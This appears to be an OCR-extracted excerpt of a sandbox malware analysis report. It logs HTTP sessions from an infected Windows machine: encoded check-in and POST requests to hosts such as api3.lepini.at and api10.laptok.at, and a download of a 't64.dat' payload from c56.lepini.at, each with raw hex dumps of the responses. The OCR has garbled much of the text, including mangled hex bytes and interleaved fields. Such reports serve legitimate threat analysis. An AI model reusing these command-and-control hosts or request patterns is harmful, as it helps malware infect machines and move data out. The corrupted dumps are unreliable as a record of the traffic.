313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 €5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data
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Timestamp

Feb 12, 2021
01:50:25.695081949 CET

Feb 12, 2021
01:50:26.090323925 CET

Session ID

2

Timestamp

Feb 12, 2021
01:48:03.927463055 CET

Feb 12, 2021
01:48:04.369791031 CET

Copyright null 2021

kBytes
transferred

4788

4789

Source IP

192.168.2.4
kBytes

transferred

3256

3257

Direction

ouT

Source Port

49765

Direction

ouT

Data

POST /apil/RslwSZJgBmnFWp/kORKPzoP39EJsUfCvn9UO0/s3Ro_2BX8FpAEZP2/GvtbIFLhAHDH6mMo1/RMGOM6EWbA
UallApdXF/b2pdediZ3/gpYYVCJIc7fQcWhiTr8nK/BkOn0OrUWe1XJIGRJTED/64Yq9FP7VI7ogR_2F 2FIW/jgN_2F
5vMG5h0/PoGZ60Yg/Kgn8ahDO8LXR63uTZg3jxu5/Mam_2B50i7/InfxFwuh8esDSEnOr/gXT5v_2Ftg3p/I_2BYvD
0u35/gKUMOMOQtzty6Ym/n9ewjrURQdUpwg3uRDoov/tTCz4uS2xR_2Fkhe/RIPJsppl4utDFMy/X HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: multipart/form-data; boundary=40861208634264099622208846432

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Content-Length: 561

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:50:26 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close

Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/JQsoHKJISB/rNdVJ_2BylK2QDFJR2gj/j2rw6DMd2f1e8eX8Ymg/9uOLouY 1o0gnmocJ9nvixr/XWjhEh
DNEaQ_2/FYjjicA0h/eSTxiOnp2M3GkDMJIDUmMRsAX/UvQhMALtY fw/bHvbHCpgIXEwn0SZp/LIrAt8U21M_2/BpEUbP2
COR0/UW2pHsPHTDkzWu/mBoET9UfbltaF6qE6vcC1/04nY6eMBCYxT6Jao/ppmN_2FO5sKlIZe/z_2BFplddjhGlg8
u2_/2BrPbB1qg/eH44l_2FjBBiq9Kt9ByU/r3_2FcOIEGEVR4XQZpv/b5bozqgpj7Ty6A4nci6CZa8/UAjk867qSAa/FjzX0u4 HT
TP/1.1

Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:48:04 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 32 30 30 30 0d Oa 1f 8b 08 00 00 00 00 00 00 03 1c 9a b5 82 ab 50 14 45 3f 88 02 b7 12 77 77 3a 2c b8 4b 80
af 7f 99 d7 4e 91 84 7b cf d9 7b ad 4c 78 aa b8 96 bl c2 7a 8d 94 53 ca ab Oc 78 c0 97 Oc 8¢ 1c 1b 61 97 1b 0f 41 dd 42
42 bf ¢9 b9 2f 61 9¢ 79 c1 4e a5 50 4 9f 91 34 5d e9 e2 ba f5 74 88 02 d3 d7 Oa 2b 86 1a a5 94 ee 3e a9 70 d4 87 92 18
d4 2f c9 8b e6 c2 3a 4a 94 a8 96 4f b7 b9 c7 ba 75 5b b8 12 ac 6b 2a 8b 25 7d a0 97 94 al 7b b4 7e 26 75 04 ca af 69 51
1116 38 2b 93 d8 d6 67 67 68 47 23 fd 38 88 52 81 97 6b 7 72 5a d2 3c c9 ad ca c1 68 80 25 80 1d 94 77 a5 el 43 42 d1
c2 a0 9e 86 8f 70 73 33 43 34 52 92 0a 36 51 €6 40 a8 27 c3 ac 2f bd 59 db cd a2 70 ab 4d 05 23 89 d4 b1l 42 42 14 07 66
fe a9 93 Oe d2 4f e2 b3 5f ef a9 08 94 e0 09 5e 97 Oc 5b f1 a6 a8 eb 89 ee 40 06 dd e2 23 4f e2 65 51 7a 78 8c 75 de de
8e d5 1d 4b 25 le 5d dc 74 bc 52 32 07 41 91 b2 43 cb f2 d5 3b 9a 61 9f af 94 6a fa dc 2f 5a 23 6d 00 19 2a 37 84 7e 99
35d0 5feaBaacf6 e9 e3 eb 53 ea cd d7 54 78 a2 Ob 8b 71 16 b1 5¢ d7 79 c1 e3 13 07 a9 ae 3 2d e4 44 2e 01 62 14 36
c7 6e f7 10 b5 07 6e fb 32 e8 6d 63 3a df 4b 05 60 75 52 cd cf c2 1d 7c d0 8a 0d db c8 94 60 b1 20 76 08 9c 92 56 df 37
3208 f7 d6 42 c9 79 ed cc ba 13 df 54 38 89 bc 43 62 04 b5 a3 39 60 8d bd 33 b5 47 eb 5a 12 0d 3e 7b 6a c1 2d 54 d8 f6
c6 34 88 e7 el 29 6b 51 19 c6 15 f3 bd a2 47 a6 37 1c fd 7e d5 59 8f 5a 43 09 13 be 8d c3 c4 4a Oc 72 d3 55 51 28 8c 94
al b3 cf e6 ba el ce Oc 45 ec 53 73 87 4e b3 39 b2 2a 9c 1a 0d 4f dc 90 8a 34 d0 cb 13 6d 75 62 28 4c 02 6¢ 5c 34 5b 50
06 05 9b 3 49 09 d8 2f e4 eb d1 42 42 8a 09 27 ca 13 a3 76 b7 f0 6d ae 58 ea f3 62 fb 83 3d 11 ee c1 d3 f8 69 4d db dc
5a 86 d1 f8 4b 10 b1 Oc fe cd e5 9c 32 ec 5a 8¢ 6d 77 7f f9 29 d3 00 82 7b 73 5e d8 8¢ 1a dd d6 d1 23 6a a8 10 e0 a2 af
ce f4 4c 6¢c 14 3a ef 7e 01 38 78 c¢7 Oa 5e 24 bb al ee ca 4d af bc 2e 04 4d 76 98 ea d2 d6 69 c1 31 15 2e Of be 55 ¢3 41
62 da 23 81 58 c0 6¢ 36 ca 71 €3 08 c9 1d d3 02 8d 35 1d 25 30 38 ff c4 5d 10 ec ba 73 2f b9 f0 9b bf 94 5¢ dc c¢7 Ob 8b 5a
76 10 07 53 €9 e7 bb Ob a4 ed 8a 1d 86 6f 81 da 55 ca b2 87 90 16 66 53 19 a7 0a b7 66 95 78 92 d7 4b bb 38 e8 4d 09
7c 6¢ 86 c4 0a ba 01 45 a9 f1 92 5¢ 87 bd c1 82 21 9e 68 df 18 78 91 15 75 c1 2d ca b6 f3 59 06 25 8e 7b 56 11 87 58 a9
6099 7c 13 30 66 eb Oc 0f c1 a4 d4 c3 88 a7 93 7c db 1le 8a a3 b0 d3 72 68 76 7e 46 4b f5 08 47 17 4a 23 20 36 6f 8a a4
66 11 71 79 3a €8 c7 91 c7 29 bb 82 6f 51 50 ab b2 89 8f f2 25 09 65 58 a5 c8 2c 01 9a f3 61 f3 93 af 44 32 3a 30 9c c8 04
fd be c1 27 98 3 92 19 44 {8 54 01 44 ae 4d 92 54 af f4 46 81 e2 1b 2d 5c b4 8¢ fc db 75 fe ea ac 33 58 b8 a4 3e b9 f6 14
94 09 bf 83 bb 36 d3 d5 fe 06 b0 59 af df 5¢c 50 b9 f1 8b e0 13 4e 61 1e 10 7c 9e 0d b3 5b ce 36 13 fa a0 97 09 95 94 18
d9 e2 8318 8c 8d 84 75 df 11 a4 98 al bl 1e 75 12 25 92 ff 48 06 1a a2 eb 40 f9 03 e7 66 6d ad dc 27 2¢ 99 4c 71 96 14
06 9c 24 c5 d7 17 cf 7b 84 7f f5 5¢ el b6 23 67 25 €0 7e 6a €0 88 7e 13 1d 39 f0 53 30 af fd d3 2¢c 79 ¢7 97 67 6d ae 12 90
5c 64 ce fc e6 04 c2 cf 7c f8 2 f0 ¢5 b2 3d e7 ec b7 5e 1b 0d 80 6f Oc e4 72 93 9d 21 84 3d 8c 5¢ 09 ae 45 fb

Data Ascii: 2000PE?ww:,KN{{Lxz SxaABB/ayNP4]t+>p/:JOu[k*%H~&uiQ8+gghG#8RkrZ<h%wCBps3C4R6Q @'Y pM#BBfO
_N@#0eQzxuK%]tR2AC;aj/Z#m*7~5_STxq\y-D.b6nn2mc:K'uR|" vW72ByT8Ch9 3GZ>{j-T4)kQG7~YZCJIruQ(
ESsN9*O4mub(LN\4[PI/BB'vmXb=iMZK2Zmw){s"#jLI:~8x"$M.Mvi1.UAb#X16¢5%08]s/\ZvSoUfStxK8MIIE\lhxu-Y%{VX"
|0f[rhv~FKGJ# 60fqy:)oQP%eX,aD2:0'DTDMTF-\u3X>6Y\PNa|[6uu%H@fm',Lq${\#g%~j~9S0,ygm\d|="or!=\E
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Session ID

3

Timestamp

Feb 12, 2021
01:48:05.085619926 CET

Feb 12, 2021
01:48:05.175679922 CET

Session ID

4

Timestamp

Feb 12, 2021
01:48:07.052175999 CET

Feb 12, 2021
01:48:07.458751917 CET

Copyright null 2021

Source IP

192.168.2.4
kBytes

transferred

3527

3528

Source IP

192.168.2.4
kBytes

transferred

3529

3530

Source Port

49764

Direction

ouT

Source Port

49766

Direction

ouT

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /favicon.ico HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 12 Feb 2021 00:48:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Content-Encoding: gzip

Data Raw: 36 61 0d Oa 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd bl e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2¢ c9 49 b5 33
313051 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da €8 83 95 00 95 26 €5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b Oc 43 74 1d
4011 1b 7d a8 34 c8 6¢ a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 Ob d9 61 33 92 00 00 00 0d Oa 30 0d Oa Od
Oa

Data Ascii: 6a(HML),1310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/wPzY3TDew43rXgQ6h/jEuluoewqqB_/2F8ty3dLaY0/g90J7yjpK4odzi/vJi7IcKUU7_2FxV8Z1qgJl/_2Fs8Hy6ru
NNXyd6/38pgGOu5LLQdPzP/ktNaKKuwlZigK_2Bvf/4YgNdy1LG/0Pu5bq_2FGp6HB5pN]jiJ/RyL8GbL1FBB7I0W7e
eW/LbvyRsvJIR2hTOEFEV7uAT/ol3vL_2BYGZE4/pytYFaia/wB_2BesnXvclSGag5xII6QE/_2Fx_2FVgm/lkzdNmIB1x77eK_2
F/ruOHED6gmV28/EwOp3VJIsFVN/Oy6MX9770H20zV/NCGPJIIvVSOpQunXbVHIbjM/xQp8I5w_2BDKORE85W/6 HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: apil0.laptok.at

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:48:07 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Data Raw: 37 35 66 0d Oa 1f 8b 08 00 00 00 00 00 00 03 0d 96 c5 81 84 00 00 c4 Oa e2 c1 e2 fO c4 dd 9d 1f ee ee 54 7f d7
43 26 13 99 fO fa 8e e0 05 f9 06 ae Of 68 b1 Oc 60 df 25 66 de 52 7a 49 54 a7 42 46 cb 3c b8 bb a0 73 1c dc ec 1d 27 cf af
0f 9c 5f bb 88 2 1d f3 5¢c b4 ef 7c 46 a5 a9 87 37 9a d8 2d 51 5¢ fb 77 3a ¢8 35 €9 8d al 65 21 50 31 7b 23 8a 89 53 2f Of
84 ae 6a 8f d8 a5 9d 60 9c 6b f8 87 11 db 3d 18 f2 91 df Oc d4 cb c9 e5 4f bc 7c 6¢ cl1 18 57 54 15 f8 d2 4f ce 23 6f 68 6¢
a2 8b 3f 23 9e ef 67 27 7b 34 f0 0d 8c fd 43 72 87 22 db dc 28 83 3c 5a 98 86 32 35 0f e8 bc 17 44 41 17 9d 72 67 b8 1f
39 4e a7 cl ff 04 d4 da 5e c3 bb af 45 c8 ec al 17 97 c4 56 eb 86 47 eb a2 61 91 34 8b 97 cb 4f 20 90 e2 7d al 85 38 bd
9b 7c 11 14 baea a5 84 77 d7 70 d3 c5 c0 e5 50 02 b4 a7 57 4e 85 76 ba 47 f4 f4 79 65 05 b9 07 a9 8b 8e 4b 51 77 71 1f
Oc 16 ba aa 4b b4 50 eb 25 53 46 52 ef b0 b5 96 cd 2b 69 c¢7 6b 75 19 b6 99 cf 00 8f 17 98 a7 93 8e 35 4a 30 fd 13 7e 91
e4 37 64 bb d4 a6 a3 8 2d 91 01 fe 32 20 8d 05 66 49 c8 60 16 56 f2 60 9e a4 76 1f 83 73 b8 f2 3a 7e ¢3 2b 3d 61 87 66
d9 92 4f e4 89 7d 86 61 ef 51 5d d3 42 cd a3 47 c6 b7 1f 41 3c 12 f6 d9 31 e4 ca c2 Oa c5 94 31 27 af a3 80 db 5e 36 €0
5e 2a ba 87 €2 31 2d d7 40 a8 6b f0 52 f3 4d 48 ae 0a 77 €0 6e 70 c1 d4 03 16 01 59 b2 88 ae ee 8f c6 9e 48 80 a6 5d 8e
de 61 6e ef 2b 9d 5f 97 47 10 e2 8a fe 00 5c 2e 85 8a 44 73 5a 1d 48 9a 78 18 cc 7a 9e b5 c1 a0 ae 16 56 79 bf 97 c5 ed
b8 86 9e a3 ad de b2 5f db 21 65 04 61 3b 9c ad 38 64 b7 c3 ad b3 42 97 eb al 3c ed 46 f0 36 ae be 5¢c 19 c2 50 fc 69 73
02 4d Oc 64 dd 73 79 15 fa 85 7a 95 fa bc 35 9a 00 22 99 19 e6 2e el 34 1a 49 96 e4 92 75 64 dd b9 a7 1le 64 df c5 27 3¢
3b 3f 05 ed 4c a9 6f bb b5 d6 77 3d ee 49 ec 50 b4 eb dd b4 bd 37 a8 52 5e cc da fe 93 81 da f4 fd 76 65 8f 79 {5 c3 1c 69
8112 2b 54 29 11 35 22 d5 68 43 6e 7b €9 7b 68 2b ed c4 95 a8 45 84 ac c3 ac 38 15 cb af 43 95 f3 81 99 14 a7 6¢ 42 Oa
a3 79 2e af a4 ¢4 81 ¢1 54 28 67 eb 4d 01 cO f6 c3 45 c2 16 37 56 90 37 €0 f4 23 90 c6 ed da 3a 33 10 1c 18 90 4d ba d5
a7 48 c6 42 42 83 3e ef 33 e4 d6 19 29 7b 94 ef 83 d2 29 cc 0f 89 59 6d 8 8e c9 be 9d 05 3b dc 6d 19 58 04 a0 39 48 19
93 0b b6 c9 20 3a 6b 76 4e ce 15 61 49 a0 bd 7a b0 34 a5 85 73 Ob d3 72 16 af fa 8d 11 89 be e2 23 24 a7 €0 36 c8 c8 b9
Ob 5d e8 6d Oc 29 5¢ de 7c Oa a9 6a 00 30 fe 2f 55 67 50 55 50 dd 43 84 al c2 1f f1 12 ef 97 22 13 1f 90 36 €9 df 61 a8 Oa
c34e 38faaccala92e7 2a73e2el0b 1444 af dO e9 bb 07 b2 7d 6f c7 62 06 03 ab 22 3d fd 18 23 1e 44 96 5f b4 31
ab 77 37 5e 0b 67 94 28 69 51 75 2a fb 24 99 47 8d ae ce 9f fb 05 cb ¢7 6¢ f7 1b b1 53 f0 23 a5 75 ac 32 dc 84 8d 24 da 1f
33 bc d6 91 10 cf 3¢ 4a 34 f2 13 4a 0d 3f 92 c6 37 46 f9 6a 02 1f 82 e6 d5 a9 50 46 89 d1 cb el 41 el b5 90 ba ad 24 3a 6f
ce 14 a0 9e 4f Oe 4e 1a 91 dd dd 6e 31 45 55 5d 72 1d ed a8 68 51 78 d6 44 f4 b1 Oe f1 Oe 7f €5 50 c4 47 d7 be 0d bc 46
04 93 af 47 46 93 23 08 5a 70 69 03 c1 3d 2b 57 €7 b4 17 cf 7d e4 43 c9 09 91 eb 2e 68 d1 26 f4 6e a3 bd 73 36 54 b4 ca
74 d9 35 f5 14 22 fb 86 01 b7 bc 49 ad 1f 3d 26 cf b4 3e 4b ee 71 26 50 56 ab 1f 66 73 c1 86 5e

Data Ascii: 75fTC&h"%fRzITBF<s'_\|F7-Q\w:5e!P1{#S/j ’k=0O|IWTO#ohl?#g'{4Cr"(<Z25DArg9IN"EVGa4O0 }8|wpPWN
vGyeKQWgKP%SFR+iku5J0~7d-2 fI'V'vs:~+=afO}aQ]BGA<11"6"*1-@kRMHwnpYH]an+_G\.DsZHxzVy_lea;8
dB<F6\PisMdsyz5".4ludd'<;?Low=IP7R"veyi+T)5"hCn{{h+E8CIBy.T(gME7V7#:3MHBB>3){) Ym;mX9H :kvNalz4sr#$6]
m)\|j0/UgPUPC"6aN8*sD}ob"=#D_1w7"g(iQu*$GIS#u2$3<J4J?7FjPFA$:00Nn1EU]rhQXDPGFGF#Zpi=+W}C.h
&ns6Tt5"I=&>Kq&PVfs"
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Session ID Source IP

5 192.168.2.4

kBytes
Timestamp transferred
Feb 12, 2021 3805

01:50:10.985950947 CET

Feb 12, 2021 3807
01:50:11.073921919 CET

Session ID Source IP
6 192.168.2.4

kBytes
Timestamp transferred
Feb 12, 2021 3820

01:50:11.123406887 CET

Feb 12, 2021 3951
01:50:11.742741108 CET

Session ID Source IP

7 192.168.2.4

Copyright null 2021

Source Port

49770

Direction

ouT

Source Port

49771

Direction

ouT

Source Port

49772

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /jvassets/x|/t64.dat HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive

Pragma: no-cache

Host: c56.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:50:11 GMT

Content-Type: application/octet-stream

Content-Length: 138820

Last-Modified: Mon, 28 Oct 2019 09:43:42 GMT

Connection: close

ETag: "5db6b84e-21e44"

Accept-Ranges: bytes

Data Raw: 17 45 7e 72 ac 5b ed 66 el de 31 9e 70 18 b7 1a 77 cO be b3 e2 43 ff 7c d8 16 7f 6f 35 a2 d1 a5 d2 ec 0d Oc
de 58 84 1a f3 53 04 f0 65 cb 76 1f 35 85 a0 7d 1d f2 44 63 de 89 3 f1 eb d3 60 21 68 3d 3a 93 el 55 94 db 4c d2 f2 b4 3e
34 48 eb e8 47 7b 53 14 54 86 87 a3 d2 0d 55 Oc dO 4f 6f 51 73 eb e2 f9 f4 9b f0 49 af 3d a0 bd ba 48 52 29 a2 84 33 75
9e 48 16 a7 b3 00 58 91 bf bf ea 49 85 ff ¢7 58 36 df 5b 13 ec c2 c6 92 56 72 82 53 68 al ca a8 33 3e e7 8b 8e 6f fa 4b 85
a0 7fbb 5c de 12 ¢3 97 40 27 18 f2 b2 95 91 d8 b7 45 cf 2a 5f 95 76 5b fc 02 c1 9d d7 e5 7f ee ec f5 a0 52 7b 4d 4d ae da
70 b4 71 95 b6 39 2e 38 47 c0 ab 5e fe cf al 6a 5¢ a5 3c 8f 1b 97 Oa 2a 41 5f 6e 2e 85 b4 8e 24 d6 6a 1c cb 43 8c ca 75
7d 09 57 73 3c a2 b8 Ob 18 00 21 c1 f5 fc e4 2b 04 14 51 ¢3 36 ea 80 55 0a 28 82 e4 56 51 91 99 bf 11 ae 36 06 cd 81 44
e0 ad db 69 d6 8e 24 28 ee 4c 0d 81 69 8b 96 c0 52 cd ed ec 31 e8 7f 08 d8 ff 0a 82 4d 1d fa a0 28 3c 3f 5f 53 cb 64 ea 5d
7c c7 f0 0f 28 71 5a f4 60 b7 7b f3 e1 19 5b 7b be d1 62 af ef 2f ad 3b 22 a8 03 e7 9f 3d e5 da ca 8b 1a 9c 2c fd 76 89 a9
7 a5 7b 6a b4 47 62 bf 64 5d 54 26 01 9a 1d 3b b0 97 db ¢5 c1 dd 94 52 d0 b2 77 €0 7 00 8d c1 99 02 69 f4 b2 87 b2 Oc
68 b3 9d b6 e6 a6 9f 58 b0 52 f8 5e b5 ac 1e 36 41 bd bc 9 5d 3a 2b 5a 40 60 9a 48 c1 b3 4a df cc 81 65 53 4e e4 9a 80
8b dd 8f 43 eb 11 23 73 1b 1b c1 99 89 21 94 4c a5 84 c3 13 96 ad 5d 82 20 a4 a4 3b dd 1le 43 74 c6 42 11 7a 8a f2 93 8b
7e 247317 d9 c7 eb 47 18 47 41 4f a2 f1 bc 52 cc 35 f2 ¢2 73 3e €5 32 8a b5 ¢7 7c 3b d4 88 bd aa 47 48 66 2e 00 bd 3f
fc 08 b4 49 98 €3 36 db f0 33 4c 40 2b cc 59 2a b5 ba 73 58 27 de a0 31 Oe 6d 63 70 19 7b 5f 67 00 54 79 89 7f 42 21 df
6e 23 el 54 43 4a 09 00 77 ac fb e4 2e a8 6d 07 21 b3 a0 98 ad 40 d2 34 64 c9 c2 62 14 7c 45 eb a0 65 98 c1 18 al 6a af
69 0a a2 bb 50 42 96 c1 d7 02 58 6d f4 b1 15 90 f6 50 9c 6a fd d4 2e 5e a7 4a cb 67 59 63 74 77 99 de €0 c0 d5 5¢ 9d a7
89 1b 90 39 29 23 21 3b c4 35 f1 49 9e 67 f3 ce fe 1d 0a 67 69 06 13 13 30 ab €6 c6 f4 c9 7e 94 48 5b al {7 5f 27 1f 03 ac
85 el Oe bl bf 6e el 1c 5a 24 cc b2 53 fd 61 58 3 87 Ob 85 9e 03 94 6 2a bd 92 53 09 77 f8 5e d3 c9 b7 19 42 4e e6 2a
67 af 27 4e 01 de 6a fc 1e 82 Oc 7e 45 7b e8 1d 97 82 9b 5¢ 14 96 d2 82 dd 53 15 1e 84 41 01 4f Of 32 ac ee b7 85 96 4c
€9 dc b0 42 3c 93 a6 Ob a3 79 cb 7b 2c d1 21 6f c1 6a 38 48 d7 37 8f 35 b8 1d 7a e7 eb 63 bc 4e 6b b6 23 aa 9c fd 32 03
46 e2 37 47 49 c2 35 al 48 7e 98 49 6a b4 98 e7 cb 33 dd 1a be 5a c8 ea a7 44 33 9b e3 a6 84 da 68 ec bf 93 03 88 f9 6e
02 17 a6 96 46 ad ae 25 c2 bb 97 7a 57 35 aa 0a 42 b5 ¢3 8a 35 af 20 1b 1a b9 c¢6 99 99 8a b2 b6 46 1c 70 a0 53 c2 €9
a2 e6 ad a4 8f d5 11 da 74 60 13 7c 55 4d 42 1c c6 a4 47 a8 4e 27 67 a4 37 b3 Oe ca f5 b1 9a a5 de e3 07 25 55 07 ff 18
b3 17 44 8b a0 af e3 f5 ff 75 b8 f2 2b 4d 9e 9 ad 07 c0 5e d7 1b ab 81 e4 99 93 ac a9 63 2f 4e 27 18 dO dd 29 f7 28 98 b1
c3 5e 52 9e d4 01 1b 9f ba 6d 7d 24 b8 cc 84 Oe 03 07 2e 3a ba b5 ad 8b ae 57 ce 78 7b aa 0f 07 5f ee 2a 4a 6b 0d f8 40
bb 79 91 71 5d ae 1b 1d 3c bf b9 e2 9b d4 4c 6c 52 55 e3 59 22 40 9a 6f cc 9a 14 bb 63 ad 00 8f bf cd 7b ca 18 ce c6 df
2108 86 ed 93 17 79 b7 6d 89 Oc ba 64 8a 93 dd fa 1b 07 69 84 31 87 f9 ae 59 a4 f8 ed 03 62 6f 2a fa 54 99 38 81 d4 e3
dc e839d4 b0 6281 c249al

Data Ascii: E~r[f1pwC|o5XSev5}Dc h=:UL>4HG{STUO0QsI=HR)3uHXIX6[VrSh3>0K\@'E*_V[R{MMpq9.8G"\<*A_n.$
JCUupWs<!+Q6U(VQ6DI$(LIRIM(<?_Sd]|(qZ {[{b/;"=,v{jGbd] T&;RWIhXR"6A]:+Z@ HJeSNC#slL] ;CtBz~$sGGAOR5s>2
|;GHf.2163L@+Y*sX'1Imcp{_gTyB!n#TCJIw.m!@4db|EejiPBXmPj.~JgYctw\9)#!;5Iggi0~H[_'nZ$SaX*Sw BN*g'Nj~E{\S
AO2LB<y{,'0j8H75zcNk#2F7GI5H~1j3ZD3hnF%zW5B5 FpSt [UMBGN'g7%UDu+MAc/N')(*Rm}$.:Wx{_*IJk@ydq]
<LIRUY"@oc{'lymdi1Ybo*T89bl

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/DuDF5ppGssBECEr/QV9fVntnhloMQikVLO/d6hiSYeOV/4dYFGDJikRkXzxb_2BwWW/QFQQ_2FIxfAt2q
A909g/62AD_2B2fmm2iqEcG6VEpj/wjoFULqIWzBtE/kxblvPrR/0YVugCmN_2Bc2j9hBYYHAX9/MHNnpC4iz_2/F50
IRFMeoEacrx2cV/NDVPaDtLYLzj/tmzoxSzXTF9/VOuTtxgzD_2FHy/qFYcOFBI_2Bwgx5A9auDk/zR8Z_2FGrqOtQ
fFe/ortBJ2feUbdIvQH/rb6hSVK_2BoVNgF7mN/65jglEhh3/dPvzgP_2ByDfnONulbga/xxZ9XKj_2/B3 HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:50:11 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close

Vary: Accept-Encoding
Strict-Transport-Security: max-age=63072000; includeSubdomains
X-Content-Type-Options: nosniff

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe
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kBytes

Timestamp transferred Direction

Feb 12, 2021 3952 ouT

01:50:11.879420042 CET

Feb 12, 2021 3952 IN

01:50:12.545542955 CET

Session ID Source IP Source Port

8 192.168.2.4 49773
kBytes

Timestamp transferred Direction

Feb 12, 2021 3954 ouT

01:50:12.687797070 CET

Feb 12, 2021 3955 IN

01:50:13.136847973 CET

Copyright null 2021

Data

POST /apil/RIcDr3iQ_2F5HIV/n8436tIkJR8PrSjzuD/qVR2EWMgX/JHao30Ch5Ma6tPeJDVPO/QptOUP3yCDsC9
Fp5cQv/WC3luav8wdMdeqfAWISOIT/3HapmLIEH6SIr8/S94_2BZ_/2FhcJtKgyYatNIzqU2kqw4R/i383XEDNTfh/7i
CEha60plcDi0Gsi/YkbbHV8IpXBQ/omONFOViOAW/RYBEHsBgFIPiJM/CB37HmU2IDclAsK_2Bgfl/DHyfteBHJI3c0
Jp8g/vCwxsQxKg_2FRoX/tZDGwkMH_2FCJ5tFJ3/Imp5riyeK/ktUBEAINO1CIwu/a3KCmmi HTTP/1.1
Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0

Content-Length: 2

Host: api3.lepini.at

HTTP/1.1 200 OK

Server: nginx

Date: Fri, 12 Feb 2021 00:50:12 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Content-Type-Options: nosniff

Data Raw: 37 63 0d Oa 15 d8 46 f5 7c 65 56 92 42 4d 2 71 1f 17 49 4b 27 8d f1 c1 eb €2 98 6a 73 25 9c 17 22 21 6f 1a 76
33 al a6 2d b4 f1 b0 6d 46 b5 55 11 3d 53 9d Ob ee 75 50 6f 02 79 84 13 56 bd f8 46 b8 15 d3 al e0 16 c0 ba 4a 42 a2 51
ad c3 ea62 48 03 9b 1d €6 79 Oc 17 ch b6 17 cb 46 d5 25 93 94 e4 c1 bc 47 04 9b 7f 25 4d 66 51 3f fO 74 88 b5 a0 a3 2f
9d 57 a6 4f f0 c4 3a ec f1 99 a9 0d Oa 30 0d Oa 0Od Oa

Data Ascii: 7cF|eVBMqIK'js%"lov3-mFU=SuPoyVFJIBQbHYF%G%MfQ?t/WO:0

Destination IP Destination Port Process

35.228.31.40 80 C:\Program Files (x86)\Internet Explorer\iexplore.exe

Data

GET /apil/9tgtwLjb0tU0zx/gjkgUlt_2BDAbjsOGmIiGf/jGKajluv_2BCCAVj/GG7iDRArA8IwTDs/umyhHUUFxniPZSwiB1/E
